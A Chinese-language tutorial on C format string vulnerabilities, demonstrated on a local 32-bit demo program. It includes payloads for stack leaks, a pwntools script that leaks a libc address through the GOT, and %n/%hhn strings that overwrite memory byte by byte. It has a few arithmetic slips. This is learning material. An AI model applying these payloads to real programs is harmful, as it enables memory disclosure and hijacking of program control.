格式化字符串漏洞
格式化字符串漏洞
0x00 格式化字符串介绍
格式化字符串(format string),是一些程序设计语言在格式化输出API函数中用于指定输出参数的格式与相对位置的字符串参数,通俗讲,就是将计算机内存表示的数据转化为人类可读字符串格式。
在C语言中,有如下会进行格式化字符串输出的函数
fprint() print() sprintf() snprintf() dprintf() vfprintf() vprint() vsprintf() vsnprintf() vdprintf()
c常用的还是printf
格式化字符串是由普通字符(包括“%”)和转换规则构成的字符序列,普通字符被原封不动的复制到输出流中。转换规则则根据与实参对应的转化指示符对其进行转换,然后将结果写入到输出流
转换规则
**%[parameter][flags][width][.precision][length]type ** 举其中两个例子
parameter 用来指定某个参数
eg:
#include <stdio.h>
void main(){
int a=0x11,b=0x22,c=0x33;
printf("%3$p",a,b,c);
}
结果:
root@ubuntu20:~/fmt# ./demo
0x33r
length指出浮点型参数或整型参数的长度
hh:输出1byte
h:输出2byte
l:输出4byte
ll:输出8byte
基本的格式化字符串参数
%c:输出字符,配上%n可用于向指定地址写数据。例子如下:
int main()
{
printf("%c",65);//输出'A'
return 0;
}
int main()
{
printf("%1000c",65);//输出'A',考虑width 1000,右对齐填充空格
return 0;
}
输出结果:
root@ubuntu20:~/fmt# ./demo
A
与%c有同样效果的格式化字符串还有%d和%s,它们都可以输出大量字符
%d:输出十进制整数,配上%n可用于向指定地址写数据。
%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。
%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。%p在格式化字符串漏洞中用来泄露信息看以下例子
#include <stdio.h>
int main()
{
int a=0x12345678;
printf("%p", a);
return 0;
}
Output: 0x12345678
#include <stdio.h>
int main()
{
int a=0x12345678;
printf("%p",&a);
return 0;
}
Output:0xffcf9b48
%s:%s 可以获取变量对应地址的数据,即将栈中数据当作一个地址,获取这个地址中的数据,存在0截断假设存在如下程序
%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100×10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。
%n转换指示符将当前已经成功写入流或者缓冲区的字符个数存储到参数指定的位置中,是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。
看以下例子
#include<stdio.h>
void main() {
int i;
char str[] = "hello";
printf("%s %n\n", str, &i);
printf("%d\n", i);
}
root@ubuntu20:~/fmt# ./demo
hello
6 #hello五字符加一个空格,共6字符
0x01 漏洞基本原理
eg1:
我们知道栈是由高地址向地址增长的,printf函数的参数是逆序被压入栈中,那么参数在栈中出现的位置顺序与printf参数的位置顺序是一致的
#include<stdio.h>
void main() {
printf("%s %d %s", "Hello World!", 233, "\n");
}
按照规定,"%s %d %s"
这一串格式化字符串,会被一个一个字符读取,读到%
匹配参数,并输出。
所以结果如下
root@ubuntu20:~/fmt# ./demo
Hello World! 233
以上是正常的操作方式,如果我们在参数不变的情况下对格式化字符串进行修改,那么便会造成漏洞
在%s %d %s
之后加上%x %x %x %3$s
,如下
#include<stdio.h>
void main() {
printf("%s %d %s %x %x %x %3$s", "Hello World!", 233, "\n");
}
root@ubuntu20:~/fmt# ./demo
Hello World! 233
ffffd5d0 0 0
在参数只有3个的情况下,我们打印了7个值(算上\n
),前3个参数对应printf给的3个参数,但是后4个对应0xffffd570 0xffffd574 0xffffd578 0xffffd56c 这4个栈内存空间。(%3$s是第三个参数的意思),所以此番操作已是栈数据泄露
eg2:
再有一个例子,这个例子的格式化字符串变为可控
#include<stdio.h>
void main() {
char buf[50];
if (fgets(buf, sizeof buf, stdin) == NULL) //用fget函数获取字符串,写入buf中
return;
printf(buf);
}
root@ubuntu20:~/fmt# ./demo
aaa %x %x %x
aaa 32 f7fbd580 56556228
可以看到把本不该输出的内存数据输出了
所以格式化字符串的致命之处在于格式化字符串要求的参数与实际的参数不匹配
0x02 漏洞利用
利用格式化字符串漏洞,可以使程序崩溃、栈数据泄露、任意地址内存泄露、栈数据覆盖、任意地址内存覆盖
0x0 栈数据泄露
前面基本原理有涉猎,再看另一示例
#include<stdio.h>
void main() {
char format[128];
int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
char arg4[10] = "ABCD";
scanf("%s", format);
printf(format, arg1, arg2, arg3, arg4);
printf("\n");
}
root@ubuntu20:~/fmt# ./demo
%08x.%08x.%08x.%08x.%08x
00000001.88888888.ffffffff.ffffd522.ffffd52c
根据前面所讲,如此泄露十分简单易懂
0x1 任意地址内存泄露
%s旨在取出指针的内容,那么构造一个含got表项的格式化字符串,然后找到其在栈中的位置,那么就可以泄露函数地址
确定参数位置
还是上一题的代码,我们输入
AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
目的是为了找到输入的字符串在栈中的具体位置
root@ubuntu20:~# ./fmt/demo
#输入
AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
#输出
AAAA.0x1.0x88888888.0xffffffff.0xffffd51a.0xffffd524.0xf7ffdb50.0x80491f4.0x80482f0.0xf7fdc6dd.0x42418278.0x4443.(nil).0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025
发现0x41414141在第13个参数的位置,所以明确了输入的字符所在位置
当然用fmtarg命令也可以很快找出参数位置,需要进行调试
尝试泄露地址:
当确定输入参数的位置后,我们可以输入got表地址配合%13$s来输出函数真实地址,操作如下:
找一下print@got的地址
但是我发现输入的地址有问题
root@ubuntu20:~# python -c 'print("\x0c\xc0\x04\x08"+".%p"*15)' | ./fmt/demo
�.0x1.0x88888888.0xffffffff.0xffffd51a.0xffffd524.0xf7ffdb50.0x80491f4.0x80482f0.0xf7fdc6dd.0x42418278.0x4443.(nil).0x2e0804c0.0x252e7025.0x70252e70
root@ubuntu20:~# ./fmt/demo
输入的0x0804c00c
变成了0x2e0804c0
,是'\x0c'不见了
具体是什么原因也不是很清楚,应该不是不可见字符的原因,因为我试了其他的并没有问题,反正'\x0c'是被程序忽略了。
那没有办法只能更换其他的got地址
学了一个新的查找got方式,这样就不用在ida找了
root@ubuntu20:~/fmt# readelf -r demo
Relocation section '.rel.dyn' at offset 0x364 contains 1 entry:
Offset Info Type Sym.Value Sym. Name
0804bffc 00000206 R_386_GLOB_DAT 00000000 __gmon_start__
Relocation section '.rel.plt' at offset 0x36c contains 4 entries:
Offset Info Type Sym.Value Sym. Name
0804c00c 00000107 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
0804c010 00000307 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804c014 00000407 R_386_JUMP_SLOT 00000000 putchar@GLIBC_2.0
0804c018 00000507 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7
我们试一下__libc_start_main
的got
root@ubuntu20:~/fmt# python -c 'print("\x10\xc0\x04\x08"+".%p"*15)' | ./demo
�.0x1.0x88888888.0xffffffff.0xffffd51a.0xffffd524.0xf7ffdb50.0x80491f4.0x80482f0.0xf7fdc6dd.0x42418278.0x4443.(nil).0x804c010.0x2e70252e.0x252e7025
发现没有问题
好,exp安排
from pwn import *
context.log_level="debug"
p = process('./demo')
elf=ELF('./demo')
libc=ELF('/usr/lib/i386-linux-gnu/libc-2.31.so')
payload = p32(elf.got['__libc_start_main']) + '%13$s'
p.sendline(payload)
r = hex(u32(p.recv()[4:8]))
print r
root@ubuntu20:~/fmt# python demo.py
[+] Starting local process './demo' argv=['./demo'] : pid 4340
[*] '/root/fmt/demo'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/usr/lib/i386-linux-gnu/libc-2.31.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[DEBUG] Sent 0xa bytes:
00000000 10 c0 04 08 25 31 33 24 73 0a │····│%13$│s·│
0000000a
[*] Process './demo' stopped with exit code 10 (pid 4340)
[DEBUG] Received 0x11 bytes:
00000000 10 c0 04 08 f0 cd de f7 60 90 04 08 a0 33 e2 f7 │····│····│`···│·3··│
00000010 0a │·│
00000011
0xf7decdf0
确实拿到了地址,检验一下,没有问题!
这就是格式化字符串的任意地址泄露
0x2 栈数据覆盖
据前面所提到的%n参数,这个参数会将字符个数存储到参数指定的位置中,那么可以利用该参数覆盖栈中的一些数据。
还是拿上面的代码距离
#include<stdio.h>
void main() {
char format[128];
int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
char arg4[10] = "ABCD";
scanf("%s", format);
printf(format, arg1, arg2, arg3, arg4);
printf("\n");
}
通过覆盖我们可以把arg2改成任意数字,好比如0x00000018
那么如何构造格式化字符串?
风水构造
我们的思路是:这串格式化字符串,要包含有arg2在栈中的地址,然后我们用$n的方式去定位这个地址在栈中位置,再利用%n把字符数赋值给该地址指向的内容,就是把arg2的值改了。
通过调试我们知道输入的串放在"%15$p"及后面
而且我们知道了arg2在栈中的位置0xffffd4b8
,即\xb8\xd4\xff\xff
这样格式化字符串已占去4字节
再加上填充,比如%8x表示8字符宽的十六进制数,占8字节,比如%12d,占12字节
那么加起来4+8+12就刚好是24
那么这串格式化字符串就长这样
\xb8\xd4\xff\xff%8x%12d%15$n
放进文本
python -c 'print("\xb8\xd4\xff\xff%8x%12d%15$n")' > text
我们可以看到0xffffd4b8
的位置变成了0x00000018,arg2的值已经被我们覆盖
0x3任意地址内存覆盖(栈数据覆盖进阶)
覆盖为小值
当然如果按照上面的构造覆盖的值最小只能是4,因为必须有地址,所以必须占4字节。
那么如果把地址放后面呢%n会把它算进个数吗
类似于"AA%17$nA"+"\xb8\xd4\xff\xff"
(两个A在于让n计数为2,第17个是因为地址放后,前面有两个四字节)
同时因为地址放到后面所以$n后要补A跟前面的字符串凑成4的倍数,这样地址才能存入一个完整的单元(4字节)
调试,成功覆盖
覆盖为1就把A挪到后边,像"A%17$nAA"+"\xb8\xd4\xff\xff"
覆盖为大值
要知道当要写入一个地址,类似0xffffd4b8,这个数的值是很大的,如果直接按照字符输入%n写入个数的方法会造成好多的字符占用,无疑会让程序崩溃。
所以要换一种思路覆盖——逐字节的覆盖
也就是说更改一个4字节的A地址,我们可以用四个跳转地址,指向A地址的每一个字节,然后再覆盖
如果要把0xffffd4b8
的值从0x88888888
改成0x12345678
输入AAAABBBBCCCCDDDD确定位置
0xffffd4ec -> 0x41414141(0xffffd4b8) -> \x78
0xffffd4f0 -> 0x42424242(0xffffd4b9) -> \x56
0xffffd4f4 -> 0x43434343(0xffffd4ba) -> \x34
0xffffd4ec -> 0x44444444(0xffffd4bb) -> \x12
构造的字符串如下:
python -c 'print ("\xb8\xd4\xff\xff"+"\xb9\xd4\xff\xff"+"\xba\xd4\xff\xff"+"\xbb\xd4\xff\xff"+"%104c%15$hhn"+"%222c%16$hhn"+"%222c%17$hhn"+"%222c%18$hhn")' >text
前四个字节分别是四个跳转地址,占16字节
使用hhn的形式,只会保存低字节:
0x78(16+104=102 ->0x78)、0x65(120+222=342 ->0x0156 ->0x56)、0x43(342+222=564 -> 0x0234 ->0x34)、0x12(564+222 = 786 -> 0x312 -> 0x12)
注意:真实情况下,不同机子的地址会变化,需要先泄露一个栈地址,然后再根据泄露栈地址推算栈上的其他地址
0x4 局限
以上的操作都是对于 32位linux系统的,对于64位linux系统,由于有寄存器的参与实际操作会有不同
比如泄露栈上地址的参数位置就不一样,因为多了六个寄存器在存储参数,分别是RDI、RSI、RDX、RCX、R8、R9
也正是如此,我们如果还要修改arg2就不现实了,因为他被存入寄存器中,我们没法再如前面通过地址定位然后修改。